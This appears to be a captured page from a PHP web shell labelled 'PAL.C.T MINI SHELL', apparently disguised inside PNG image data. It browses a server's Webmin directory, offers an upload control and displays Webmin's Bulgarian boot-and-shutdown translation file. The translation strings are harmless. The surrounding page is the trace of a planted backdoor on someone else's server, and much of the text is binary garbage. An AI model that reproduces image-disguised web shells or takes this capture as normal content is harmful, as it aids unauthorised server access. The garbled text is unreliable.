php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/init/lang/
upload
files >> //usr/libexec/webmin/init/lang/bg.auto

index_title=Стартиране и изключване
index_mode=Система за стартиране : $1 
index_add=Създайте ново действие за зареждане и изключване.
index_reboot=Рестартирайте системата
index_rebootmsg=Кликнете върху този бутон за незабавно рестартиране на системата. Всички влезли в момента потребители ще бъдат прекъснати и всички услуги ще бъдат рестартирани.
index_shutdown=Система за изключване
index_shutdownmsg=Кликнете върху този бутон, за да изключите системата незабавно. Всички услуги ще бъдат спрени, всички потребители изключени и системата изключена (ако хардуерът ви я поддържа).
index_script=Скриптът $1, изброен по-долу, ще се изпълнява по време на стартиране. Можете да добавите свои собствени команди, за да стартирате демони или сървъри при рестартиране на системата.
index_downscript=По същия начин скриптът $1, изброен по-долу, ще се стартира при изключване. Можете да добавите свои собствени команди, за да демоните или сървърите да бъдат спрени чисто, когато системата е изключена.
index_return=действия за стартиране и изключване
index_action=действие
index_desc=описание
index_boot=При обувка?
index_levels=Стартирайте на ниво
index_status=Започна ли сега?
index_order=Поръчка
index_add_mac=Добавете нов скрипт за действие при стартиране
index_provides=Осигурява
index_setting=обстановка
index_script_mac=Скриптът $1, изброен по-долу, ще се изпълнява по време на стартиране. Все пак се препоръчва да добавите свои собствени команди, за да имате демони или сървъри, стартирани при стартиране на системата, в стартовата директория.
index_editconfig=Редактирайте файла $1 ръчно
index_stop=Спри се
index_start=начало
index_restart=Рестартирам
index_rlchange=Промяна на ниво на изпълнение:
index_rlchangedesc=Щракнете върху този бутон, за да превключите вашата система от текущия ниво на изпълнение към избрания. Това ще доведе до спиране на всички действия в текущото ниво и след това ще бъдат стартирани всички действия в новото ниво на изпълнение.
index_addboot=Започнете при стартиране
index_delboot=Деактивиране при стартиране
index_addboot_start=Започнете сега и при стартиране
index_delboot_stop=Деактивирайте сега и при стартиране
index_sname=Име на действието
index_sdesc=описание
index_stype=Тип услуга
index_sstate=Сегашно състояние
index_sboot=Започнете от зареждане?
index_sstate4=Работещи
index_sstate1=Спряна
index_sboot2=да
index_sboot3=Не
index_sboot4=хора с увреждания
index_rname=Име на действието
index_rdesc=описание
index_rboot=Започнете от зареждане?
index_radd=Създайте ново действие.
index_unknown=неизвестен
index_uname=Име на услугата
index_udesc=Описание на услугата
index_ucstatus=Състояние на услугата
index_uboot=Започнете от зареждане?
index_ustatus=Сега тече?
index_uadd=Създайте нова услуга за стартиране.
index_sadd=Създайте нова системна услуга.
index_always=Винаги
index_ladd=Създайте нов агент за стартиране.
index_lname=Име на агент

edit_title=Редактиране на действие
create_title=Създайте действие
edit_ecannot=Нямате право да редактирате bootup действия
edit_egone=Действие вече не съществува
edit_details=Подробности за действието
edit_name=име
edit_desc=описание
edit_startmsg=Съобщение за стартиране
edit_stopmsg=Съобщение за изключване
edit_start=Команди за зареждане
edit_stop=Команди за изключване
edit_startcmd=Команда за зареждане
edit_stopcmd=Команда за изключване
edit_statuscmd=Команда за състояние
edit_script=Екшън сценарий
edit_boot=Да започнете по време на зареждане?
edit_badS=Тъй като това действие не е създадено правилно, то се стартира само в ниво на изпълнение $1.
edit_badK=Тъй като това действие не е създадено правилно, то се спира само в ниво на изпълнение $1.
edit_fix=Кликнете тук, за да направите това действие достъпно за други критерии
edit_levels=Изпълнете нивата за стартиране и спиране
edit_rl=Ниво на изпълнение $1 
edit_startat=Започни от
edit_stopat=Спрете се
edit_startnow=Започни сега
edit_stopnow=Престани вече
edit_restartnow=Рестартирай сега
edit_reloadnow2=Прочетете отново файла Config
edit_condrestartnow=Рестартирайте, ако е необходимо
edit_reloadnow=Презаредете сега
edit_statusnow=Показване на състоянието
edit_return=действие
edit_status=Започна ли сега?
edit_unknown=неизвестен

save_err=Неуспешно запазване на действието
save_ecannot=Нямате право да редактирате bootup действия
save_ealready=Действие, наречено „$ $1“, вече съществува
save_ewrite=Неуспешно записване в $1 : $2 
save_ename=Липсващо или невалидно име на действие
save_eclash=Действие със същото име вече съществува
save_escript=Не е въведен скрипт за действие
save_estartcmd=Липсва команда за зареждане

ss_ecannot=Не ви е разрешено да стартирате или спирате bootup действия
ss_start=Стартирайте действие
ss_stop=Спри действие
ss_restart=Рестартиране на действието
ss_reload=Действие за презареждане
ss_status=Състояние на действието
ss_exec=Изпълнение на $1.
ss_doingstart=Стартиращо действие $1 ..
ss_doingstop=Спиране на действието $1 ..
ss_doingstatus=Заявка за състояние на действие $1 ..

shutdown_ecannot=Нямате право да изключвате системата
shutdown_title=Изключвам
shutdown_rusure=Сигурни ли сте, че искате да изключите системата с командата $1 ?
shutdown_ok=Система за изключване
shutdown_exec=Изключване с команда $1 ..

reboot_ecannot=Нямате право да рестартирате системата
reboot_title=Рестарт
reboot_rusure=Сигурни ли сте, че искате да рестартирате системата с командата $1 ?
reboot_ok=Рестартирайте системата
reboot_exec=Рестартиране с команда $1 ..

acl_script=Може ли да редактирате скрипта за зареждане?
acl_actions=Могат ли да стартират, редактират, създават и изтриват действия?
acl_runonly=Само бягайте
acl_reboot=Може ли да рестартирате системата?
acl_shutdown=Може ли да изключи системата?

log_rename=Преименувано действие $1 до $2 
log_modify=Модифицирано действие $1 
log_create=Създадено действие $1 
log_delete=Изтрито действие $1 
log_start=Започнато действие $1 
log_stop=Спирано действие $1 
log_restart=Рестартирано действие $1 
log_condrestart=Условно рестартирано действие $1 
log_reload=Презаредено действие $1 
log_status=Получено състояние на действие $1 
log_reboot=Рестартирана система
log_shutdown=Система за изключване
log_local=Променен скрипт за зареждане
log_bootup=Променено действие на стартиране за $1 
log_massstart=Започнати действия $1 
log_massstop=Спирани действия $1 
log_massrestart=Възстановени действия $1 
log_massenable=Активирани действия $1 
log_massdisable=Деактивирани действия $1 
log_telinit=Превключен към ниво на изпълнение $1 

edit_hostconfig_startup=Скриптът $1 се стартира в системното време за зареждане, ако това действие е активно. Можете да го редактирате по-долу
edit_hostconfig_plist=Файлът $1 задава определени параметри по отношение на скрипта за зареждане. Можете да го редактирате по-долу
edit_hostconfig_new=Създайте ново действие
edit_hostconfig_noquotes=Не използвайте кавички в никое поле, освен в полето $1.
edit_hostconfig_startitems=Полето $1 не трябва да започва с число или подчертаване, и по споразумение всички буквени букви трябва да са с големи букви. Полето $2 трябва да бъде законно име на файл и не трябва да съдържа точка.
edit_hostconfig_actionname=Име на действието
edit_hostconfig_scriptname=Име на скрипта
edit_hostconfig_array=Полетата $1, $2 и $3 са масиви и могат да съдържат повече от една стойност. Разграничете множество стойности с двоеточие.
edit_hostconfig_further=След създаването на новото стартиращо действие ще бъдете пренасочени към страница, където можете да настроите скрипта за стартиране и списъка с параметри, ако е необходимо.
edit_hostconfig_hostconfig=Файлът $1 контролира услугите и демоните за цялата система, които се стартират при стартиране на системата. Можете да го редактирате по-долу
edit_hostconfig_title=Редактиране на Hostconfig

mass_enone=Не са избрани действия
mass_enone2=Няма избрани услуги
mass_start=Стартиращи действия
mass_restart=Рестартиране на действията
mass_stop=Спиране на действията
mass_ebroken=Счупеното действие $1 не може да бъде активирано или деактивирано по време на зареждане
mass_enable=Активиране на действие $1 по време на зареждане.
mass_disable=Деактивиране на действие $1 по време на зареждане.
mass_starting=Стартиращо действие $1 ..
mass_stopping=Спиране на действието $1 ..
mass_failed=.. се провали!
mass_ok=.. Свършен.
mass_ustart=Стартиране на услуги
mass_urestart=Рестартиране на услуги
mass_ustop=Спиране на услуги
mass_uenable=Активиране на услугата $1 по време на зареждане.
mass_udisable=Деактивиране на услугата $1 по време на зареждане.
mass_ustarting=Стартиране на услугата $1 ..
mass_ustopping=Спиране на услугата $1 ..
mass_urestarting=Услуга за рестартиране $1 ..

change_err=Не ви е позволено да превключвате нива на въртене
change_title=Превключете Runlevel
change_cmd=Преминаване към ниво на изпълнение $1 с команда $2. Това може да отнеме известно време и Webmin може да не е вече достъпен след превключване.

mode_init=SysV init
mode_osx=MacOS
mode_local=Скрипт с едно зареждане
mode_win32=Windows услуги
mode_rc=FreeBSD RC скриптове
mode_upstart=парвеню
mode_systemd=Systemd
mode_launchd=LaunchD

upstart_title1=Създайте Upstart Service
upstart_title2=Редактиране на Upstart Service
upstart_egone=Услугата вече не съществува!
upstart_elegacy=Не е стартирана услуга!
upstart_header=Детайли за услугата на стартиране
upstart_name=Име на услугата
upstart_desc=Описание на услугата
upstart_prestart=Команди за стартиране преди стартиране на сървъра <br> (незадължително)
upstart_server=Сървърна програма и параметри
upstart_fork=Сървър вилици на заден план?
upstart_conf=Конфигурационен файл
upstart_boot=Да започнете по време на зареждане?
upstart_status=Актуално състояние
upstart_status0=Не работи
upstart_status1=Работи с PID $1 
upstart_err=Неуспешно запазване на услугата за стартиране
upstart_econf=Не е въведено съдържание на конфигурационен файл
upstart_ename=Липсващо или невалидно търсене на услугата
upstart_eclash=Услуга със същото име вече съществува
upstart_edesc=Липсва описание на услугата
upstart_eserver=Не е въведена команда на сървъра
upstart_eserver2=Командната команда на сървъра не съществува
upstart_eserver3=Може да се въведе само една команда на сървъра
upstart_return=обслужване на стартиране

systemd_title1=Създайте Systemd Service
systemd_title2=Редактиране на Systemd Service
systemd_egone=Услугата вече не съществува!
systemd_elegacy=Не е системна услуга!
systemd_header=Данни за системни услуги
systemd_name=Име на услугата
systemd_file=Конфигурационен файл
systemd_desc=Описание на услугата
systemd_start=Команди за стартиране
systemd_stop=Команди за изпълнение при изключване
systemd_conf=Systemd конфигурация
systemd_boot=Да започнете по време на зареждане?
systemd_status=Актуално състояние
systemd_status0=Не работи
systemd_status1=Работи с PID $1 
systemd_status2=Работещи
systemd_status3=Неизвестен!
systemd_err=Неуспешно запазване на системната услуга
systemd_ename=Липсващо или невалидно търсене на системно име на услугата
systemd_eclash=Услуга със същото име вече съществува
systemd_edesc=Липсва описание на услугата
systemd_return=системна услуга
systemd_econf=Не е въведена системна конфигурация
systemd_estart=Липсващи команди за стартиране

launchd_title1=Създайте стартиращ агент
launchd_title2=Редактиране на стартиращ агент
launchd_egone=Агент вече не съществува!
launchd_header=Данни за стартиране на услугата
launchd_name=Име на агент
launchd_file=Конфигурационен файл
launchd_nofile=Не е намерен!
launchd_start=Сървърна команда
launchd_conf=Стартирана конфигурация
launchd_boot=Да започнете по време на зареждане?
launchd_status=Актуално състояние
launchd_status0=Не работи
launchd_status1=Работи с PID $1 
launchd_status2=Работещи
launchd_err=Неуспешно запазване на стартиращия агент
launchd_ename=Липсващо или невалидно име на стартиращ агент за търсене
launchd_eclash=Агент със същото име вече съществува
launchd_return=изстрелващ агент
launchd_econf=Не е въведена конфигурация за стартиране
launchd_estart=Липсва команда на сървъра

syslog_journalctl=Дневници на SystemD
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`